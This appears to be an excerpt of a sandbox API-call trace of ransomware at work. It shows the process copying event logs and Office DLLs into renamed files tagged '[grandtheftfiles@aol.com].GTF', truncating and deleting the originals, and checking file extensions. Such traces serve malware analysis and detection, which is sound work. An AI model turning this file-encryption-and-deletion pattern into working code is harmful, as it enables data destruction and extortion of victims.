	[0083.720] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.720] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1
	[0083.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.821] lstrlenW (lpString=".doc") returned 4
	[0083.821] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".docx") returned 5
	[0083.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.822] lstrlenW (lpString=".pdf") returned 4
	[0083.822] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".xls") returned 4
	[0083.822] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".xlsx") returned 5
	[0083.822] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.822] lstrlenW (lpString=".ppt") returned 4
	[0083.822] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString=".zip") returned 4
	[0083.822] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".rar") returned 4
	[0083.822] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".bz2") returned 4
	[0083.822] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".7z") returned 3
	[0083.822] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString=".dbf") returned 4
	[0083.822] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString=".1cd") returned 4
	[0083.822] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString=".jpg") returned 4
	[0083.822] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.822] lstrlenW (lpString=".doc") returned 4
	[0083.822] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.822] lstrlenW (lpString=".docx") returned 5
	[0083.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.822] lstrlenW (lpString=".pdf") returned 4
	[0083.823] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString=".xls") returned 4
	[0083.823] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString=".xlsx") returned 5
	[0083.823] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.823] lstrlenW (lpString=".ppt") returned 4
	[0083.823] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.823] lstrlenW (lpString=".zip") returned 4
	[0083.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString=".rar") returned 4
	[0083.823] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString=".bz2") returned 4
	[0083.823] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString=".7z") returned 3
	[0083.823] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.823] lstrlenW (lpString=".dbf") returned 4
	[0083.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.823] lstrlenW (lpString=".1cd") returned 4
	[0083.823] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0083.823] lstrlenW (lpString=".jpg") returned 4
	[0083.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.823] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.823] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57
	[0083.823] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.669] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0084.669] CloseHandle (hObject=0x380) returned 1
	[0084.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0084.669] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.669] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.669] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.670] GetLastError () returned 0x0
	[0084.670] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0084.675] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0084.677] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.677] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x146, lpOverlapped=0x0) returned 1
	[0084.677] SetEndOfFile (hFile=0x370) returned 1
	[0084.678] CloseHandle (hObject=0x370) returned 1
	[0084.680] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.680] SetEndOfFile (hFile=0x380) returned 1
	[0084.681] CloseHandle (hObject=0x380) returned 1
	[0084.681] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.681] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1
	[0084.681] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.681] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.681] lstrlenW (lpString=".doc") returned 4
	[0084.681] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".docx") returned 5
	[0084.682] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.682] lstrlenW (lpString=".pdf") returned 4
	[0084.682] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".xls") returned 4
	[0084.682] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".xlsx") returned 5
	[0084.682] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.682] lstrlenW (lpString=".ppt") returned 4
	[0084.682] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString=".zip") returned 4
	[0084.682] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".rar") returned 4
	[0084.682] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".bz2") returned 4
	[0084.682] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".7z") returned 3
	[0084.682] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString=".dbf") returned 4
	[0084.682] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString=".1cd") returned 4
	[0084.682] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString=".jpg") returned 4
	[0084.682] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.682] lstrlenW (lpString=".doc") returned 4
	[0084.682] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.682] lstrlenW (lpString=".docx") returned 5
	[0084.682] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.683] lstrlenW (lpString=".pdf") returned 4
	[0084.683] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString=".xls") returned 4
	[0084.683] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString=".xlsx") returned 5
	[0084.683] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.683] lstrlenW (lpString=".ppt") returned 4
	[0084.683] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.683] lstrlenW (lpString=".zip") returned 4
	[0084.683] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString=".rar") returned 4
	[0084.683] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString=".bz2") returned 4
	[0084.683] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString=".7z") returned 3
	[0084.683] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.683] lstrlenW (lpString=".dbf") returned 4
	[0084.683] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.683] lstrlenW (lpString=".1cd") returned 4
	[0084.683] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0084.683] lstrlenW (lpString=".jpg") returned 4
	[0084.683] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.683] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.683] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0084.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.684] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19136) returned 1
	[0084.684] CloseHandle (hObject=0x380) returned 1
	[0084.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20
	[0084.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.684] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.684] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.690] GetLastError () returned 0x0
	[0084.690] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.692] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.693] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.693] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x126, lpOverlapped=0x0) returned 1
	[0084.693] SetEndOfFile (hFile=0x370) returned 1
	[0084.694] CloseHandle (hObject=0x370) returned 1
	[0084.695] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.695] SetEndOfFile (hFile=0x380) returned 1
	[0084.696] CloseHandle (hObject=0x380) returned 1
	[0084.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.696] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1
	[0084.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.696] lstrlenW (lpString=".doc") returned 4
	[0084.696] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.696] lstrlenW (lpString=".docx") returned 5
	[0084.696] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.696] lstrlenW (lpString=".pdf") returned 4
	[0084.696] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.696] lstrlenW (lpString=".xls") returned 4
	[0084.696] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.696] lstrlenW (lpString=".xlsx") returned 5
	[0084.697] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.697] lstrlenW (lpString=".ppt") returned 4
	[0084.697] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString=".zip") returned 4
	[0084.697] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString=".rar") returned 4
	[0084.697] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString=".bz2") returned 4
	[0084.697] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.697] lstrlenW (lpString=".7z") returned 3
	[0084.697] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString=".dbf") returned 4
	[0084.697] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString=".1cd") returned 4
	[0084.697] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString=".jpg") returned 4
	[0084.697] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.697] lstrlenW (lpString=".doc") returned 4
	[0084.697] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString=".docx") returned 5
	[0084.697] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.697] lstrlenW (lpString=".pdf") returned 4
	[0084.697] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString=".xls") returned 4
	[0084.697] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.697] lstrlenW (lpString=".xlsx") returned 5
	[0084.697] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.697] lstrlenW (lpString=".ppt") returned 4
	[0084.697] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.698] lstrlenW (lpString=".zip") returned 4
	[0084.698] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.698] lstrlenW (lpString=".rar") returned 4
	[0084.698] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.698] lstrlenW (lpString=".bz2") returned 4
	[0084.698] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.698] lstrlenW (lpString=".7z") returned 3
	[0084.698] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.698] lstrlenW (lpString=".dbf") returned 4
	[0084.698] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.698] lstrlenW (lpString=".1cd") returned 4
	[0084.698] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0084.698] lstrlenW (lpString=".jpg") returned 4
	[0084.698] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.698] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.698] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0084.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.699] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19136) returned 1
	[0084.699] CloseHandle (hObject=0x380) returned 1
	[0084.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20
	[0084.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.699] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.699] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.699] GetLastError () returned 0x0
	[0084.699] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.703] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.704] ReadFile (in: hFile=0x380, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.704] WriteFile (in: hFile=0x370, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x114, lpOverlapped=0x0) returned 1
	[0084.704] SetEndOfFile (hFile=0x370) returned 1
	[0084.705] CloseHandle (hObject=0x370) returned 1
	[0084.706] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.706] SetEndOfFile (hFile=0x380) returned 1
	[0084.707] CloseHandle (hObject=0x380) returned 1
